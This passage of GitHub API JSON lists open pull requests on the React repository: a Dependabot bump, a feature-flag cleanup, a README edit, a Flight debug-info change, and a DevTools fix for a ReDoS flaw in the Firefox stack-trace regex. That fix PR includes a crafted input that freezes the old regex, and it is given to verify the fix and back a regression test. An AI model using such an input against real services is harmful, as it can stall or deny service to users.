\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-15T00:30:42Z", "updated_at": "2026-01-15T00:30:48Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "d6ccc4a5e7a583068a1a2817d3bf5926dcdfa366", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/compiler/undici-6.23.0", "ref": "dependabot/npm_and_yarn/compiler/undici-6.23.0", "sha": "b11d7380a1fdd3881985908f5c1f6f6504b76b4b", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "4a3d993e52fd6bcadd9c3029c75df3c22684f69c", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35512" }, "html": { "href": "https://github.com/facebook/react/pull/35512" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35512" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35512/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35512/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35512/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/b11d7380a1fdd3881985908f5c1f6f6504b76b4b" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 4 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35509", "id": 3174087036, "node_id": "PR_kwDOAJy2Ks69MLl8", "number": 35509, "state": "open", "locked": false, "title": "[DevTools] Fix ReDoS vulnerability in Firefox stack trace parser", "user": { "login": "yujiteshima", "id": 36704166, "node_id": "MDQ6VXNlcjM2NzA0MTY2", "avatar_url": "https://avatars.githubusercontent.com/u/36704166?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yujiteshima", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nThis PR fixes a ReDoS (Regular Expression Denial of Service) vulnerability in the Firefox stack trace parser.\r\n\r\nFixes #35490\r\n\r\nThe original regex pattern `(?:.*\".+\")?[^@]*` in `firefoxFrameRegExp` contained nested quantifiers that could cause catastrophic backtracking when processing malicious inputs. With a crafted input containing 2000 repeated patterns, the regex took over 2.5 seconds to process, causing the DevTools to become unresponsive.\r\n\r\n**The fix:** Changed `.*\".+\"` to `\"[^\"]+\"` using a negated character class. This achieves O(n) linear time complexity while preserving identical matching behavior for all valid Firefox stack frames.\r\n\r\n| Input | Before | After |\r\n|-------|--------|-------|\r\n| Malicious (2000 repeats) | 2500+ ms | 0 ms |\r\n| Valid Firefox stack frames | ✅ Works | ✅ Works |\r\n\r\n## How did you test this change?\r\n\r\n1. **Verified the fix resolves the vulnerability:**\r\n```javascript\r\nconst firefoxFrameRegExp = /^((?:\"[^\"]+\")?[^@]*)@(.+):(\\d+):(\\d+)$/;\r\nconst nullChar = String.fromCharCode(0);\r\nconst maliciousInput = ' ' + ('\"' + nullChar).repeat(2000) + '\\r!\\r!';\r\n\r\nconst start = Date.now();\r\nfirefoxFrameRegExp.test(maliciousInput);\r\nconsole.log(Date.now() - start + 'ms'); // 0ms (was 2500+ ms)\r\n```\r\n\r\n2. **Verified existing functionality is preserved:**\r\n```javascript\r\n// All valid Firefox stack traces still parse correctly\r\n'tt@https://react.dev/_next/static/chunks/363.js:1:165558' // ✅\r\n'f@https://react.dev/_next/static/chunks/pages/app.js:1:8535' // ✅\r\n'\"quoted\"@file:1:1' // ✅\r\n'funcName@file:1:1' // ✅\r\n```\r\n\r\n3. **Added a regression test** to prevent future ReDoS vulnerabilities in this regex.\r\n\r\n4. **Ran the standard checks:**\r\n```\r\nyarn linc # ✅ Lint passed\r\nyarn flow dom-node # ✅ No errors\r\nyarn prettier # ✅ Formatted\r\n```\r\n", "created_at": "2026-01-14T16:06:08Z", "updated_at": "2026-01-20T17:23:36Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "69d17aa4f21a32648be2e2e0f2e6feef1c18e720", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "yujiteshima:fix/devtools-redos-vulnerability", "ref": "fix/devtools-redos-vulnerability", "sha": "50f304083bef8339abb3f2aa3466942dba67ded4", "user": { "login": "yujiteshima", "id": 36704166, "node_id": "MDQ6VXNlcjM2NzA0MTY2", "avatar_url": "https://avatars.githubusercontent.com/u/36704166?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yujiteshima", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1110665537, "node_id": "R_kgDOQjNpQQ", "name": "react", "full_name": "yujiteshima/react", "private": false, "owner": { "login": "yujiteshima", "id": 36704166, "node_id": "MDQ6VXNlcjM2NzA0MTY2", "avatar_url": "https://avatars.githubusercontent.com/u/36704166?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yujiteshima", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/yujiteshima/react", "created_at": "2025-12-05T14:37:06Z", "updated_at": "2026-01-14T15:40:39Z", "pushed_at": "2026-01-14T16:03:55Z", "homepage": "https://react.dev", "size": 123920, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "4a3d993e52fd6bcadd9c3029c75df3c22684f69c", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35509" }, "html": { "href": "https://github.com/facebook/react/pull/35509" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35509" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35509/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35509/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35509/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/50f304083bef8339abb3f2aa3466942dba67ded4" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35490 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35508", "id": 3173577130, "node_id": "PR_kwDOAJy2Ks69KPGq", "number": 35508, "state": "open", "locked": false, "title": "Cleanup enableEagerAlternateStateNodeCleanup feature flag", "user": { "login": "javache", "id": 5676, "node_id": "MDQ6VXNlcjU2NzY=", "avatar_url": "https://avatars.githubusercontent.com/u/5676?v=4", "gravatar_id": "", "url": "https://api.github.com/users/javache", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nThis has been fully rolled out internally and was manually merged in the RN release in https://github.com/facebook/react-native/commit/0411c43b3a239384c778baad22c7b4c501008449\r\n\r\n## How did you test this change?\r\n\r\n`yarn flow fabric`\r\n", "created_at": "2026-01-14T13:44:01Z", "updated_at": "2026-01-14T13:50:53Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": { "0": { "login": "yungsters", "id": 55161, "node_id": "MDQ6VXNlcjU1MTYx", "avatar_url": "https://avatars.githubusercontent.com/u/55161?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yungsters", "type": "User", "user_view_type": "public", "site_admin": false }, "1": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false } }, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "javache:clean-sam", "ref": "clean-sam", "sha": "c0b8732c2a27984a93ccc5ed16b42842d522f66a", "user": { "login": "javache", "id": 5676, "node_id": "MDQ6VXNlcjU2NzY=", "avatar_url": "https://avatars.githubusercontent.com/u/5676?v=4", "gravatar_id": "", "url": "https://api.github.com/users/javache", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 57295671, "node_id": "MDEwOlJlcG9zaXRvcnk1NzI5NTY3MQ==", "name": "react", "full_name": "javache/react", "private": false, "owner": { "login": "javache", "id": 5676, "node_id": "MDQ6VXNlcjU2NzY=", "avatar_url": "https://avatars.githubusercontent.com/u/5676?v=4", "gravatar_id": "", "url": "https://api.github.com/users/javache", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "A declarative, efficient, and flexible JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/javache/react", "created_at": "2016-04-28T11:07:17Z", "updated_at": "2026-01-14T13:40:34Z", "pushed_at": "2026-01-14T13:40:46Z", "homepage": "https://facebook.github.io/react/", "size": 135278, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3e1abcc8d7083a13adf4774feb0d67ecbe4a2bc4", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35508" }, "html": { "href": "https://github.com/facebook/react/pull/35508" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35508" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35508/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35508/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35508/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/c0b8732c2a27984a93ccc5ed16b42842d522f66a" } }, "author_association": "MEMBER", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35507", "id": 3172162872, "node_id": "PR_kwDOAJy2Ks69E104", "number": 35507, "state": "open", "locked": false, "title": "docs: improve README installation section clarity", "user": { "login": "manjot-dhaliwal", "id": 120867161, "node_id": "U_kgDOBzRJWQ", "avatar_url": "https://avatars.githubusercontent.com/u/120867161?v=4", "gravatar_id": "", "url": "https://api.github.com/users/manjot-dhaliwal", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Summary\r\nThis PR improves the clarity of the Installation section in README.md by removing redundant text. The phrase \"to use as little or as much React as you need\" was repeated on both line 13 (in the section introduction) and line 16 (in the bullet point for \"Add React to an Existing Project\").\r\nI've updated line 16 to say \"to integrate React into your current codebase\" instead, which is more specific and descriptive while eliminating the redundancy.\r\nHow did you test this change?\r\nThis is a documentation-only change that improves readability. I verified:\r\nThe change maintains the same meaning and intent\r\nThe text flows better without the redundancy\r\nNo code or functionality is affected\r\nThe markdown formatting is correct", "created_at": "2026-01-14T05:40:12Z", "updated_at": "2026-01-14T06:13:44Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "60b6b5249a52f2cbcd8e82e1bd3edaa6f8363261", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "manjot-dhaliwal:simple-doc-improvement", "ref": "simple-doc-improvement", "sha": "1df535641f48fbf852c7fcd45bc4b750f20e3063", "user": { "login": "manjot-dhaliwal", "id": 120867161, "node_id": "U_kgDOBzRJWQ", "avatar_url": "https://avatars.githubusercontent.com/u/120867161?v=4", "gravatar_id": "", "url": "https://api.github.com/users/manjot-dhaliwal", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1134002812, "node_id": "R_kgDOQ5eCfA", "name": "react", "full_name": "manjot-dhaliwal/react", "private": false, "owner": { "login": "manjot-dhaliwal", "id": 120867161, "node_id": "U_kgDOBzRJWQ", "avatar_url": "https://avatars.githubusercontent.com/u/120867161?v=4", "gravatar_id": "", "url": "https://api.github.com/users/manjot-dhaliwal", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/manjot-dhaliwal/react", "created_at": "2026-01-14T05:32:14Z", "updated_at": "2026-01-14T05:32:14Z", "pushed_at": "2026-01-14T05:35:01Z", "homepage": "https://react.dev", "size": 123835, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3e1abcc8d7083a13adf4774feb0d67ecbe4a2bc4", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35507" }, "html": { "href": "https://github.com/facebook/react/pull/35507" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35507" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35507/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35507/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35507/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/1df535641f48fbf852c7fcd45bc4b750f20e3063" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35506", "id": 3172017575, "node_id": "PR_kwDOAJy2Ks69ESWn", "number": 35506, "state": "open", "locked": false, "title": "[Flight] Forward early debug info for lazy chunks", "user": { "login": "lubieowoce", "id": 13698226, "node_id": "MDQ6VXNlcjEzNjk4MjI2", "avatar_url": "https://avatars.githubusercontent.com/u/13698226?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lubieowoce", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Currently, when we're re-encoding a lazy chunk that came from a flight stream, we wait for the chunk to resolve, and then forward the debug info. This unnecessarily delays debug info that's already available while the chunk is still pending, like the name and stack info. This PR attempts to make it so that we emit whatever debug info we have before initializing the lazy chunk (which may suspend), and then emit the rest after.\r\n\r\nWhen a debug info array is partially emitted, we save the number of emitted entries we already emitted in a WeakMap `request.partialDebugInfoProgress`. That way, when we emit it again later, we know how many entries to skip.\r\n\r\nMost debug infos are not partially emitted -- we currently only do this for lazy elements -- so to avoid the overhead of tracking the index for each debug info array, we only do this if it's emitted using`forwardDebugInfoProgressive`.\r\n\r\nNotably, we also need to handle cases when debug entries are transferred from the lazy chunk onto the inner element (i.e. moved to a different array) via `moveDebugInfoFromChunkToInnerValue`:\r\nhttps://github.com/facebook/react/blob/b546603bcb309a52343fd6a7b8751145205f8ac1/packages/react-client/src/ReactFlightClient.js#L1275-L1291\r\nIn this case, we have to make sure that new array has the same progress as the source. We do this in `copyDebugInfoProgressToResolvedValue`.", "created_at": "2026-01-14T04:35:13Z", "updated_at": "2026-02-03T12:38:06Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": { "0": { "login": "unstubbable", "id": 761683, "node_id": "MDQ6VXNlcjc2MTY4Mw==", "avatar_url": "https://avatars.githubusercontent.com/u/761683?v=4", "gravatar_id": "", "url": "https://api.github.com/users/unstubbable", "type": "User", "user_view_type": "public", "site_admin": false }, "1": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false } }, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": true, "head": { "label": "lubieowoce:reencode-debug-info", "ref": "reencode-debug-info", "sha": "45504792ffe78a8ed6cd80235f4e92dd89fbd5ba", "user": { "login": "lubieowoce", "id": 13698226, "node_id": "MDQ6VXNlcjEzNjk4MjI2", "avatar_url": "https://avatars.githubusercontent.com/u/13698226?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lubieowoce", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 791345539, "node_id": "R_kgDOLyr5gw", "name": "react", "full_name": "lubieowoce/react", "private": false, "owner": { "login": "lubieowoce", "id": 13698226, "node_id": "MDQ6VXNlcjEzNjk4MjI2", "avatar_url": "https://avatars.githubusercontent.com/u/13698226?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lubieowoce", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/lubieowoce/react", "created_at": "2024-04-24T14:50:45Z", "updated_at": "2024-04-24T14:50:45Z", "pushed_at": "2026-02-09T13:44:20Z", "homepage": "https://react.dev", "size": 125888, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "da64117876002bd60baa9e93cad77421bbf0293f", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": 